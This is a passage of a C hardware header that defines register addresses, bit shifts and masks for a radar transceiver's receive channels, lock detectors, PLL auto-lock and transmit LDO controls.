#define RADIO_BK0_CH2_RX_RF_EN_TIA_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_RF_EN_LNA1_BIAS_EN_SHIFT 4
#define RADIO_BK0_CH2_RX_RF_EN_LNA1_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_RF_EN_LNA2_BIAS_EN_SHIFT 5
#define RADIO_BK0_CH2_RX_RF_EN_LNA2_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_RF_EN_LNA2_BIAS2_EN_SHIFT 6
#define RADIO_BK0_CH2_RX_RF_EN_LNA2_BIAS2_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_RF_EN_RXLOBUFF_BIAS_EN_SHIFT 7
#define RADIO_BK0_CH2_RX_RF_EN_RXLOBUFF_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_BB_EN 0x5a
#define RADIO_BK0_CH2_RX_BB_EN_VGA2_EN_SHIFT 0
#define RADIO_BK0_CH2_RX_BB_EN_VGA2_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_BB_EN_VGA1_EN_SHIFT 1
#define RADIO_BK0_CH2_RX_BB_EN_VGA1_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_BB_EN_BIAS_EN_SHIFT 2
#define RADIO_BK0_CH2_RX_BB_EN_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_BB_EN_RX_CH2_EN_SPARE_SHIFT 3
#define RADIO_BK0_CH2_RX_BB_EN_RX_CH2_EN_SPARE_MASK 0x1f
#define RADIO_BK0_CH2_RX_TUNE0 0x5b
#define RADIO_BK0_CH2_RX_TUNE0_LNA_GC_SHIFT 0
#define RADIO_BK0_CH2_RX_TUNE0_LNA_GC_MASK 0xf
#define RADIO_BK0_CH2_RX_TUNE0_TIA_RFB_SEL_SHIFT 4
#define RADIO_BK0_CH2_RX_TUNE0_TIA_RFB_SEL_MASK 0xf
#define RADIO_BK0_CH2_RX_TUNE1 0x5c
#define RADIO_BK0_CH2_RX_TUNE1_VGA1_GAINSEL_SHIFT 0
#define RADIO_BK0_CH2_RX_TUNE1_VGA1_GAINSEL_MASK 0x7
#define RADIO_BK0_CH2_RX_TUNE1_VGA1_GAIN_SPARE_SHIFT 3
#define RADIO_BK0_CH2_RX_TUNE1_VGA1_GAIN_SPARE_MASK 0x1
#define RADIO_BK0_CH2_RX_TUNE1_VGA2_GAINSEL_SHIFT 4
#define RADIO_BK0_CH2_RX_TUNE1_VGA2_GAINSEL_MASK 0x7
#define RADIO_BK0_CH2_RX_TUNE1_VGA2_GAIN_SPARE_SHIFT 7
#define RADIO_BK0_CH2_RX_TUNE1_VGA2_GAIN_SPARE_MASK 0x1
#define RADIO_BK0_CH2_RX_TUNE2 0x5d
#define RADIO_BK0_CH2_RX_TUNE2_HP1_SEL_SHIFT 0
#define RADIO_BK0_CH2_RX_TUNE2_HP1_SEL_MASK 0x7
#define RADIO_BK0_CH2_RX_TUNE2_HP1_SPARE_SHIFT 3
#define RADIO_BK0_CH2_RX_TUNE2_HP1_SPARE_MASK 0x1
#define RADIO_BK0_CH2_RX_TUNE2_HP2_SEL_SHIFT 4
#define RADIO_BK0_CH2_RX_TUNE2_HP2_SEL_MASK 0x7
#define RADIO_BK0_CH2_RX_TUNE2_HP2_SPARE_SHIFT 7
#define RADIO_BK0_CH2_RX_TUNE2_HP2_SPARE_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS0 0x5e
#define RADIO_BK0_CH2_RX_BIAS0_RXLOBUFF_BIAS_SHIFT 0
#define RADIO_BK0_CH2_RX_BIAS0_RXLOBUFF_BIAS_MASK 0xf
#define RADIO_BK0_CH2_RX_BIAS0_TIA_VINN_TEST_EN_SHIFT 4
#define RADIO_BK0_CH2_RX_BIAS0_TIA_VINN_TEST_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS0_TIA_VINP_TEST_EN_SHIFT 5
#define RADIO_BK0_CH2_RX_BIAS0_TIA_VINP_TEST_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS0_TIA_SAFE_EN_SHIFT 6
#define RADIO_BK0_CH2_RX_BIAS0_TIA_SAFE_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS1 0x5f
#define RADIO_BK0_CH2_RX_BIAS1_TIA_VCTRL_GM_SHIFT 0
#define RADIO_BK0_CH2_RX_BIAS1_TIA_VCTRL_GM_MASK 0xf
#define RADIO_BK0_CH2_RX_BIAS1_TIA_VCTRL_PN_SHIFT 4
#define RADIO_BK0_CH2_RX_BIAS1_TIA_VCTRL_PN_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS1_TIA_SPARE_SHIFT 5
#define RADIO_BK0_CH2_RX_BIAS1_TIA_SPARE_MASK 0x7
#define RADIO_BK0_CH2_RX_BIAS2 0x60
#define RADIO_BK0_CH2_RX_BIAS2_TIA_VCMREF_SEL_SHIFT 0
#define RADIO_BK0_CH2_RX_BIAS2_TIA_VCMREF_SEL_MASK 0x7
#define RADIO_BK0_CH2_RX_BIAS2_TIA_VCMREF_TEST_EN_SHIFT 3
#define RADIO_BK0_CH2_RX_BIAS2_TIA_VCMREF_TEST_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS2_TIA_BIAS_SHIFT 4
#define RADIO_BK0_CH2_RX_BIAS2_TIA_BIAS_MASK 0xf
#define RADIO_BK0_CH2_RX_BIAS3 0x61
#define RADIO_BK0_CH2_RX_BIAS3_LNA2_BIAS_SHIFT 0
#define RADIO_BK0_CH2_RX_BIAS3_LNA2_BIAS_MASK 0xf
#define RADIO_BK0_CH2_RX_BIAS3_LNA1_BIAS_SHIFT 4
#define RADIO_BK0_CH2_RX_BIAS3_LNA1_BIAS_MASK 0xf
#define RADIO_BK0_CH2_RX_BIAS4 0x62
#define RADIO_BK0_CH2_RX_BIAS4_VGA1_VCMSEL_SHIFT 0
#define RADIO_BK0_CH2_RX_BIAS4_VGA1_VCMSEL_MASK 0x7
#define RADIO_BK0_CH2_RX_BIAS4_VGA1_VCM_SPARE_SHIFT 3
#define RADIO_BK0_CH2_RX_BIAS4_VGA1_VCM_SPARE_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS4_VGA2_VCMSEL_SHIFT 4
#define RADIO_BK0_CH2_RX_BIAS4_VGA2_VCMSEL_MASK 0x7
#define RADIO_BK0_CH2_RX_BIAS4_VGA2_VCM_SPARE_SHIFT 7
#define RADIO_BK0_CH2_RX_BIAS4_VGA2_VCM_SPARE_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS5 0x63
#define RADIO_BK0_CH2_RX_BIAS5_VGA1_IBSEL_SHIFT 0
#define RADIO_BK0_CH2_RX_BIAS5_VGA1_IBSEL_MASK 0x7
#define RADIO_BK0_CH2_RX_BIAS5_VGA1_IB_SPARE_SHIFT 3
#define RADIO_BK0_CH2_RX_BIAS5_VGA1_IB_SPARE_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS5_VGA2_IBSEL_SHIFT 4
#define RADIO_BK0_CH2_RX_BIAS5_VGA2_IBSEL_MASK 0x7
#define RADIO_BK0_CH2_RX_BIAS5_VGA2_IB_SPARE_SHIFT 7
#define RADIO_BK0_CH2_RX_BIAS5_VGA2_IB_SPARE_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS6 0x64
#define RADIO_BK0_CH2_RX_BIAS6_TESTSEL_SHIFT 0
#define RADIO_BK0_CH2_RX_BIAS6_TESTSEL_MASK 0x7
#define RADIO_BK0_CH2_RX_BIAS6_TEST_SPARE_SHIFT 3
#define RADIO_BK0_CH2_RX_BIAS6_TEST_SPARE_MASK 0x1
#define RADIO_BK0_CH2_RX_BIAS6_HP1_VCMSEL_SHIFT 4
#define RADIO_BK0_CH2_RX_BIAS6_HP1_VCMSEL_MASK 0x3
#define RADIO_BK0_CH2_RX_BIAS6_FASTSETTING_SEL_SHIFT 6
#define RADIO_BK0_CH2_RX_BIAS6_FASTSETTING_SEL_MASK 0x3
#define RADIO_BK0_CH2_RX_PDT 0x65
#define RADIO_BK0_CH2_RX_PDT_PKD_VTHSEL_SHIFT 0
#define RADIO_BK0_CH2_RX_PDT_PKD_VTHSEL_MASK 0x3
#define RADIO_BK0_CH2_RX_PDT_PKD_VGA_SHIFT 2
#define RADIO_BK0_CH2_RX_PDT_PKD_VGA_MASK 0x1
#define RADIO_BK0_CH2_RX_PDT_PKD_EN_SHIFT 3
#define RADIO_BK0_CH2_RX_PDT_PKD_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_PDT_TIA_SAT_VREF_SEL_SHIFT 4
#define RADIO_BK0_CH2_RX_PDT_TIA_SAT_VREF_SEL_MASK 0x3
#define RADIO_BK0_CH2_RX_PDT_SAT_IN_SEL_SHIFT 6
#define RADIO_BK0_CH2_RX_PDT_SAT_IN_SEL_MASK 0x1
#define RADIO_BK0_CH2_RX_PDT_SAT_EN_SHIFT 7
#define RADIO_BK0_CH2_RX_PDT_SAT_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_TEST 0x66
#define RADIO_BK0_CH2_RX_TEST_OUTMUX_SEL_SHIFT 0
#define RADIO_BK0_CH2_RX_TEST_OUTMUX_SEL_MASK 0xf
#define RADIO_BK0_CH2_RX_TEST_TSTMUX_SEL_SHIFT 4
#define RADIO_BK0_CH2_RX_TEST_TSTMUX_SEL_MASK 0xf
#define RADIO_BK0_CH3_RX_RF_EN 0x67
#define RADIO_BK0_CH3_RX_RF_EN_TIA_VCTRL_EN_SHIFT 0
#define RADIO_BK0_CH3_RX_RF_EN_TIA_VCTRL_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_RF_EN_TIA_S1_EN_SHIFT 1
#define RADIO_BK0_CH3_RX_RF_EN_TIA_S1_EN_MASK 0x3
#define RADIO_BK0_CH3_RX_RF_EN_TIA_BIAS_EN_SHIFT 3
#define RADIO_BK0_CH3_RX_RF_EN_TIA_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_RF_EN_LNA1_BIAS_EN_SHIFT 4
#define RADIO_BK0_CH3_RX_RF_EN_LNA1_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_RF_EN_LNA2_BIAS_EN_SHIFT 5
#define RADIO_BK0_CH3_RX_RF_EN_LNA2_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_RF_EN_LNA2_BIAS2_EN_SHIFT 6
#define RADIO_BK0_CH3_RX_RF_EN_LNA2_BIAS2_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_RF_EN_RXLOBUFF_BIAS_EN_SHIFT 7
#define RADIO_BK0_CH3_RX_RF_EN_RXLOBUFF_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_BB_EN 0x68
#define RADIO_BK0_CH3_RX_BB_EN_VGA2_EN_SHIFT 0
#define RADIO_BK0_CH3_RX_BB_EN_VGA2_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_BB_EN_VGA1_EN_SHIFT 1
#define RADIO_BK0_CH3_RX_BB_EN_VGA1_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_BB_EN_BIAS_EN_SHIFT 2
#define RADIO_BK0_CH3_RX_BB_EN_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_BB_EN_RX_CH3_EN_SPARE_SHIFT 3
#define RADIO_BK0_CH3_RX_BB_EN_RX_CH3_EN_SPARE_MASK 0x1f
#define RADIO_BK0_CH3_RX_TUNE0 0x69
#define RADIO_BK0_CH3_RX_TUNE0_LNA_GC_SHIFT 0
#define RADIO_BK0_CH3_RX_TUNE0_LNA_GC_MASK 0xf
#define RADIO_BK0_CH3_RX_TUNE0_TIA_RFB_SEL_SHIFT 4
#define RADIO_BK0_CH3_RX_TUNE0_TIA_RFB_SEL_MASK 0xf
#define RADIO_BK0_CH3_RX_TUNE1 0x6a
#define RADIO_BK0_CH3_RX_TUNE1_VGA1_GAINSEL_SHIFT 0
#define RADIO_BK0_CH3_RX_TUNE1_VGA1_GAINSEL_MASK 0x7
#define RADIO_BK0_CH3_RX_TUNE1_VGA1_GAIN_SPARE_SHIFT 3
#define RADIO_BK0_CH3_RX_TUNE1_VGA1_GAIN_SPARE_MASK 0x1
#define RADIO_BK0_CH3_RX_TUNE1_VGA2_GAINSEL_SHIFT 4
#define RADIO_BK0_CH3_RX_TUNE1_VGA2_GAINSEL_MASK 0x7
#define RADIO_BK0_CH3_RX_TUNE1_VGA2_GAIN_SPARE_SHIFT 7
#define RADIO_BK0_CH3_RX_TUNE1_VGA2_GAIN_SPARE_MASK 0x1
#define RADIO_BK0_CH3_RX_TUNE2 0x6b
#define RADIO_BK0_CH3_RX_TUNE2_HP1_SEL_SHIFT 0
#define RADIO_BK0_CH3_RX_TUNE2_HP1_SEL_MASK 0x7
#define RADIO_BK0_CH3_RX_TUNE2_HP1_SPARE_SHIFT 3
#define RADIO_BK0_CH3_RX_TUNE2_HP1_SPARE_MASK 0x1
#define RADIO_BK0_CH3_RX_TUNE2_HP2_SEL_SHIFT 4
#define RADIO_BK0_CH3_RX_TUNE2_HP2_SEL_MASK 0x7
#define RADIO_BK0_CH3_RX_TUNE2_HP2_SPARE_SHIFT 7
#define RADIO_BK0_CH3_RX_TUNE2_HP2_SPARE_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS0 0x6c
#define RADIO_BK0_CH3_RX_BIAS0_RXLOBUFF_BIAS_SHIFT 0
#define RADIO_BK0_CH3_RX_BIAS0_RXLOBUFF_BIAS_MASK 0xf
#define RADIO_BK0_CH3_RX_BIAS0_TIA_VINN_TEST_EN_SHIFT 4
#define RADIO_BK0_CH3_RX_BIAS0_TIA_VINN_TEST_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS0_TIA_VINP_TEST_EN_SHIFT 5
#define RADIO_BK0_CH3_RX_BIAS0_TIA_VINP_TEST_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS0_TIA_SAFE_EN_SHIFT 6
#define RADIO_BK0_CH3_RX_BIAS0_TIA_SAFE_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS1 0x6d
#define RADIO_BK0_CH3_RX_BIAS1_TIA_VCTRL_GM_SHIFT 0
#define RADIO_BK0_CH3_RX_BIAS1_TIA_VCTRL_GM_MASK 0xf
#define RADIO_BK0_CH3_RX_BIAS1_TIA_VCTRL_PN_SHIFT 4
#define RADIO_BK0_CH3_RX_BIAS1_TIA_VCTRL_PN_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS1_TIA_SPARE_SHIFT 5
#define RADIO_BK0_CH3_RX_BIAS1_TIA_SPARE_MASK 0x7
#define RADIO_BK0_CH3_RX_BIAS2 0x6e
#define RADIO_BK0_CH3_RX_BIAS2_TIA_VCMREF_SEL_SHIFT 0
#define RADIO_BK0_CH3_RX_BIAS2_TIA_VCMREF_SEL_MASK 0x7
#define RADIO_BK0_CH3_RX_BIAS2_TIA_VCMREF_TEST_EN_SHIFT 3
#define RADIO_BK0_CH3_RX_BIAS2_TIA_VCMREF_TEST_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS2_TIA_BIAS_SHIFT 4
#define RADIO_BK0_CH3_RX_BIAS2_TIA_BIAS_MASK 0xf
#define RADIO_BK0_CH3_RX_BIAS3 0x6f
#define RADIO_BK0_CH3_RX_BIAS3_LNA2_BIAS_SHIFT 0
#define RADIO_BK0_CH3_RX_BIAS3_LNA2_BIAS_MASK 0xf
#define RADIO_BK0_CH3_RX_BIAS3_LNA1_BIAS_SHIFT 4
#define RADIO_BK0_CH3_RX_BIAS3_LNA1_BIAS_MASK 0xf
#define RADIO_BK0_CH3_RX_BIAS4 0x70
#define RADIO_BK0_CH3_RX_BIAS4_VGA1_VCMSEL_SHIFT 0
#define RADIO_BK0_CH3_RX_BIAS4_VGA1_VCMSEL_MASK 0x7
#define RADIO_BK0_CH3_RX_BIAS4_VGA1_VCM_SPARE_SHIFT 3
#define RADIO_BK0_CH3_RX_BIAS4_VGA1_VCM_SPARE_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS4_VGA2_VCMSEL_SHIFT 4
#define RADIO_BK0_CH3_RX_BIAS4_VGA2_VCMSEL_MASK 0x7
#define RADIO_BK0_CH3_RX_BIAS4_VGA2_VCM_SPARE_SHIFT 7
#define RADIO_BK0_CH3_RX_BIAS4_VGA2_VCM_SPARE_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS5 0x71
#define RADIO_BK0_CH3_RX_BIAS5_VGA1_IBSEL_SHIFT 0
#define RADIO_BK0_CH3_RX_BIAS5_VGA1_IBSEL_MASK 0x7
#define RADIO_BK0_CH3_RX_BIAS5_VGA1_IB_SPARE_SHIFT 3
#define RADIO_BK0_CH3_RX_BIAS5_VGA1_IB_SPARE_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS5_VGA2_IBSEL_SHIFT 4
#define RADIO_BK0_CH3_RX_BIAS5_VGA2_IBSEL_MASK 0x7
#define RADIO_BK0_CH3_RX_BIAS5_VGA2_IB_SPARE_SHIFT 7
#define RADIO_BK0_CH3_RX_BIAS5_VGA2_IB_SPARE_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS6 0x72
#define RADIO_BK0_CH3_RX_BIAS6_TESTSEL_SHIFT 0
#define RADIO_BK0_CH3_RX_BIAS6_TESTSEL_MASK 0x7
#define RADIO_BK0_CH3_RX_BIAS6_TEST_SPARE_SHIFT 3
#define RADIO_BK0_CH3_RX_BIAS6_TEST_SPARE_MASK 0x1
#define RADIO_BK0_CH3_RX_BIAS6_HP1_VCMSEL_SHIFT 4
#define RADIO_BK0_CH3_RX_BIAS6_HP1_VCMSEL_MASK 0x3
#define RADIO_BK0_CH3_RX_BIAS6_FASTSETTING_SEL_SHIFT 6
#define RADIO_BK0_CH3_RX_BIAS6_FASTSETTING_SEL_MASK 0x3
#define RADIO_BK0_CH3_RX_PDT 0x73
#define RADIO_BK0_CH3_RX_PDT_PKD_VTHSEL_SHIFT 0
#define RADIO_BK0_CH3_RX_PDT_PKD_VTHSEL_MASK 0x3
#define RADIO_BK0_CH3_RX_PDT_PKD_VGA_SHIFT 2
#define RADIO_BK0_CH3_RX_PDT_PKD_VGA_MASK 0x1
#define RADIO_BK0_CH3_RX_PDT_PKD_EN_SHIFT 3
#define RADIO_BK0_CH3_RX_PDT_PKD_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_PDT_TIA_SAT_VREF_SEL_SHIFT 4
#define RADIO_BK0_CH3_RX_PDT_TIA_SAT_VREF_SEL_MASK 0x3
#define RADIO_BK0_CH3_RX_PDT_SAT_IN_SEL_SHIFT 6
#define RADIO_BK0_CH3_RX_PDT_SAT_IN_SEL_MASK 0x1
#define RADIO_BK0_CH3_RX_PDT_SAT_EN_SHIFT 7
#define RADIO_BK0_CH3_RX_PDT_SAT_EN_MASK 0x1
#define RADIO_BK0_CH3_RX_TEST 0x74
#define RADIO_BK0_CH3_RX_TEST_OUTMUX_SEL_SHIFT 0
#define RADIO_BK0_CH3_RX_TEST_OUTMUX_SEL_MASK 0xf
#define RADIO_BK0_CH3_RX_TEST_TSTMUX_SEL_SHIFT 4
#define RADIO_BK0_CH3_RX_TEST_TSTMUX_SEL_MASK 0xf
#define RADIO_BK0_LOCK_DETECTOR1_0 0x75
#define RADIO_BK0_LOCK_DETECTOR1_0_LD_RSTN_50M_SHIFT 0
#define RADIO_BK0_LOCK_DETECTOR1_0_LD_RSTN_50M_MASK 0x1
#define RADIO_BK0_LOCK_DETECTOR1_0_LD_MODE_SEL_50M_SHIFT 1
#define RADIO_BK0_LOCK_DETECTOR1_0_LD_MODE_SEL_50M_MASK 0x1
#define RADIO_BK0_LOCK_DETECTOR1_0_LD_SPARE_50M_SHIFT 2
#define RADIO_BK0_LOCK_DETECTOR1_0_LD_SPARE_50M_MASK 0x1
#define RADIO_BK0_LOCK_DETECTOR1_0_LD_CNT_PWR_50M_SHIFT 3
#define RADIO_BK0_LOCK_DETECTOR1_0_LD_CNT_PWR_50M_MASK 0xf
#define RADIO_BK0_LOCK_DETECTOR1_1 0x76
#define RADIO_BK0_LOCK_DETECTOR1_1_SHIFT 0
#define RADIO_BK0_LOCK_DETECTOR1_1_MASK 0x1
#define RADIO_BK0_LOCK_DETECTOR1_2 0x77
#define RADIO_BK0_LOCK_DETECTOR1_2_SHIFT 0
#define RADIO_BK0_LOCK_DETECTOR1_2_MASK 0xff
#define RADIO_BK0_LOCK_DETECTOR1_3 0x78
#define RADIO_BK0_LOCK_DETECTOR1_3_SHIFT 0
#define RADIO_BK0_LOCK_DETECTOR1_3_MASK 0xff
#define RADIO_BK0_LOCK_DETECTOR2_0 0x79
#define RADIO_BK0_LOCK_DETECTOR2_0_LD_RSTN_400M_SHIFT 0
#define RADIO_BK0_LOCK_DETECTOR2_0_LD_RSTN_400M_MASK 0x1
#define RADIO_BK0_LOCK_DETECTOR2_0_LD_MODE_SEL_400M_SHIFT 1
#define RADIO_BK0_LOCK_DETECTOR2_0_LD_MODE_SEL_400M_MASK 0x1
#define RADIO_BK0_LOCK_DETECTOR2_0_LD_SPARE_400M_SHIFT 2
#define RADIO_BK0_LOCK_DETECTOR2_0_LD_SPARE_400M_MASK 0x1
#define RADIO_BK0_LOCK_DETECTOR2_0_LD_CNT_PWR_400M_SHIFT 3
#define RADIO_BK0_LOCK_DETECTOR2_0_LD_CNT_PWR_400M_MASK 0xf
#define RADIO_BK0_LOCK_DETECTOR2_1 0x7a
#define RADIO_BK0_LOCK_DETECTOR2_1_SHIFT 0
#define RADIO_BK0_LOCK_DETECTOR2_1_MASK 0x1
#define RADIO_BK0_LOCK_DETECTOR2_2 0x7b
#define RADIO_BK0_LOCK_DETECTOR2_2_SHIFT 0
#define RADIO_BK0_LOCK_DETECTOR2_2_MASK 0xff
#define RADIO_BK0_LOCK_DETECTOR2_3 0x7c
#define RADIO_BK0_LOCK_DETECTOR2_3_SHIFT 0
#define RADIO_BK0_LOCK_DETECTOR2_3_MASK 0xff
#define RADIO_BK0_AUTO_LOCK0 0x7d
#define RADIO_BK0_AUTO_LOCK0_REFPLL_RSTN_SHIFT 0
#define RADIO_BK0_AUTO_LOCK0_REFPLL_RSTN_MASK 0x1
#define RADIO_BK0_AUTO_LOCK0_REFPLL_BYP_SHIFT 1
#define RADIO_BK0_AUTO_LOCK0_REFPLL_BYP_MASK 0x1
#define RADIO_BK0_AUTO_LOCK0_FMCWPLL_RSTN_SHIFT 2
#define RADIO_BK0_AUTO_LOCK0_FMCWPLL_RSTN_MASK 0x1
#define RADIO_BK0_AUTO_LOCK0_FMCWPLL_BYP_SHIFT 3
#define RADIO_BK0_AUTO_LOCK0_FMCWPLL_BYP_MASK 0x1
#define RADIO_BK0_AUTO_LOCK0_FSCM_RSTN_SHIFT 4
#define RADIO_BK0_AUTO_LOCK0_FSCM_RSTN_MASK 0x1
#define RADIO_BK0_AUTO_LOCK_TH 0x7e
#define RADIO_BK0_AUTO_LOCK_TH_REFPLL_LCK_TH_SHIFT 0
#define RADIO_BK0_AUTO_LOCK_TH_REFPLL_LCK_TH_MASK 0x3
#define RADIO_BK0_AUTO_LOCK_TH_REFPLL_DIF_TH_SHIFT 2
#define RADIO_BK0_AUTO_LOCK_TH_REFPLL_DIF_TH_MASK 0x3
#define RADIO_BK0_AUTO_LOCK_TH_FMCWPLL_LCK_TH_SHIFT 4
#define RADIO_BK0_AUTO_LOCK_TH_FMCWPLL_LCK_TH_MASK 0x3
#define RADIO_BK0_AUTO_LOCK_TH_FMCWPLL_DIF_TH_SHIFT 6
#define RADIO_BK0_AUTO_LOCK_TH_FMCWPLL_DIF_TH_MASK 0x3
#define RADIO_BK0_AUTO_LOCK1 0x7f
#define RADIO_BK0_AUTO_LOCK1_REFPLL_LCKED_SHIFT 0
#define RADIO_BK0_AUTO_LOCK1_REFPLL_LCKED_MASK 0x1
#define RADIO_BK0_AUTO_LOCK1_FMCWPLL_LCKED_SHIFT 1
#define RADIO_BK0_AUTO_LOCK1_FMCWPLL_LCKED_MASK 0x1
#define RADIO_BK0_AUTO_LOCK1_FSCM_O_SHIFT 2
#define RADIO_BK0_AUTO_LOCK1_FSCM_O_MASK 0x1
#define RADIO_BK1_TX_LDO_EN 0x1
#define RADIO_BK1_TX_LDO_EN_LDO11_TX3_PA_EN_SHIFT 0
#define RADIO_BK1_TX_LDO_EN_LDO11_TX3_PA_EN_MASK 0x1
#define RADIO_BK1_TX_LDO_EN_LDO11_TX3_EN_SHIFT 1
#define RADIO_BK1_TX_LDO_EN_LDO11_TX3_EN_MASK 0x1
#define RADIO_BK1_TX_LDO_EN_LDO11_TX2_PA_EN_SHIFT 2
#define RADIO_BK1_TX_LDO_EN_LDO11_TX2_PA_EN_MASK 0x1
#define RADIO_BK1_TX_LDO_EN_LDO11_TX2_EN_SHIFT 3
#define RADIO_BK1_TX_LDO_EN_LDO11_TX2_EN_MASK 0x1
#define RADIO_BK1_TX_LDO_EN_LDO11_TX1_PA_EN_SHIFT 4
#define RADIO_BK1_TX_LDO_EN_LDO11_TX1_PA_EN_MASK 0x1
#define RADIO_BK1_TX_LDO_EN_LDO11_TX1_EN_SHIFT 5
#define RADIO_BK1_TX_LDO_EN_LDO11_TX1_EN_MASK 0x1
#define RADIO_BK1_TX_LDO_EN_LDO11_TX0_PA_EN_SHIFT 6
#define RADIO_BK1_TX_LDO_EN_LDO11_TX0_PA_EN_MASK 0x1
#define RADIO_BK1_TX_LDO_EN_LDO11_TX0_EN_SHIFT 7
#define RADIO_BK1_TX_LDO_EN_LDO11_TX0_EN_MASK 0x1
#define RADIO_BK1_TX_LDO0 0x2
#define RADIO_BK1_TX_LDO0_LDO11_TX0_TURBO_SHIFT 0
#define RADIO_BK1_TX_LDO0_LDO11_TX0_TURBO_MASK 0x1
#define RADIO_BK1_TX_LDO0_LDO11_TX0_TEST_SEL_SHIFT 1
#define RADIO_BK1_TX_LDO0_LDO11_TX0_TEST_SEL_MASK 0x1
#define RADIO_BK1_TX_LDO0_LDO11_TX0_TEST_EN_SHIFT 2
#define RADIO_BK1_TX_LDO0_LDO11_TX0_TEST_EN_MASK 0x1
#define RADIO_BK1_TX_LDO0_LDO11_TX0_BYPASS_EN_SHIFT 3
#define RADIO_BK1_TX_LDO0_LDO11_TX0_BYPASS_EN_MASK 0x1
#define RADIO_BK1_TX_LDO0_LDO11_TX0_VOUT_SEL_SHIFT 4
#define RADIO_BK1_TX_LDO0_LDO11_TX0_VOUT_SEL_MASK 0x7
#define RADIO_BK1_TX_LDO1 0x3
#define RADIO_BK1_TX_LDO1_LDO11_TX1_TURBO_SHIFT 0
#define RADIO_BK1_TX_LDO1_LDO11_TX1_TURBO_MASK 0x1
#define RADIO_BK1_TX_LDO1_LDO11_TX1_TEST_SEL_SHIFT 1
#define RADIO_BK1_TX_LDO1_LDO11_TX1_TEST_SEL_MASK 0x1
#define RADIO_BK1_TX_LDO1_LDO11_TX1_TEST_EN_SHIFT 2
#define RADIO_BK1_TX_LDO1_LDO11_TX1_TEST_EN_MASK 0x1
#define RADIO_BK1_TX_LDO1_LDO11_TX1_BYPASS_EN_SHIFT 3
#define RADIO_BK1_TX_LDO1_LDO11_TX1_BYPASS_EN_MASK 0x1
#define RADIO_BK1_TX_LDO1_LDO11_TX1_VOUT_SEL_SHIFT 4
#define RADIO_BK1_TX_LDO1_LDO11_TX1_VOUT_SEL_MASK 0x7
#define RADIO_BK1_TX_LDO2 0x4
#define RADIO_BK1_TX_LDO2_LDO11_TX2_TURBO_SHIFT 0
#define RADIO_BK1_TX_LDO2_LDO11_TX2_TURBO_MASK 0x1
#define RADIO_BK1_TX_LDO2_LDO11_TX2_TEST_SEL_SHIFT 1
#define RADIO_BK1_TX_LDO2_LDO11_TX2_TEST_SEL_MASK 0x1
#define RADIO_BK1_TX_LDO2_LDO11_TX2_TEST_EN_SHIFT 2
#define RADIO_BK1_TX_LDO2_LDO11_TX2_TEST_EN_MASK 0x1
#define RADIO_BK1_TX_LDO2_LDO11_TX2_BYPASS_EN_SHIFT 3
#define RADIO_BK1_TX_LDO2_LDO11_TX2_BYPASS_EN_MASK 0x1
#define RADIO_BK1_TX_LDO2_LDO11_TX2_VOUT_SEL_SHIFT 4
#define RADIO_BK1_TX_LDO2_LDO11_TX2_VOUT_SEL_MASK 0x7
#define RADIO_BK1_TX_LDO3 0x5
#define RADIO_BK1_TX_LDO3_LDO11_TX3_TURBO_SHIFT 0
#define RADIO_BK1_TX_LDO3_LDO11_TX3_TURBO_MASK 0x1
#define RADIO_BK1_TX_LDO3_LDO11_TX3_TEST_SEL_SHIFT 1
#define RADIO_BK1_TX_LDO3_LDO11_TX3_TEST_SEL_MASK 0x1
#define RADIO_BK1_TX_LDO3_LDO11_TX3_TEST_EN_SHIFT 2
#define RADIO_BK1_TX_LDO3_LDO11_TX3_TEST_EN_MASK 0x1
#define RADIO_BK1_TX_LDO3_LDO11_TX3_BYPASS_EN_SHIFT 3
#define RADIO_BK1_TX_LDO3_LDO11_TX3_BYPASS_EN_MASK 0x1
#define RADIO_BK1_TX_LDO3_LDO11_TX3_VOUT_SEL_SHIFT 4
#define RADIO_BK1_TX_LDO3_LDO11_TX3_VOUT_SEL_MASK 0x7
#define RADIO_BK1_CH0_PA_LDO 0x6
#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_TURBO_SHIFT 0
#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_TURBO_MASK 0x1
#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_TEST_SEL_SHIFT 1
#define RADIO_BK1_CH0_PA_LDO_LDO11_TX_PA_TEST_SEL_MASK 0x1
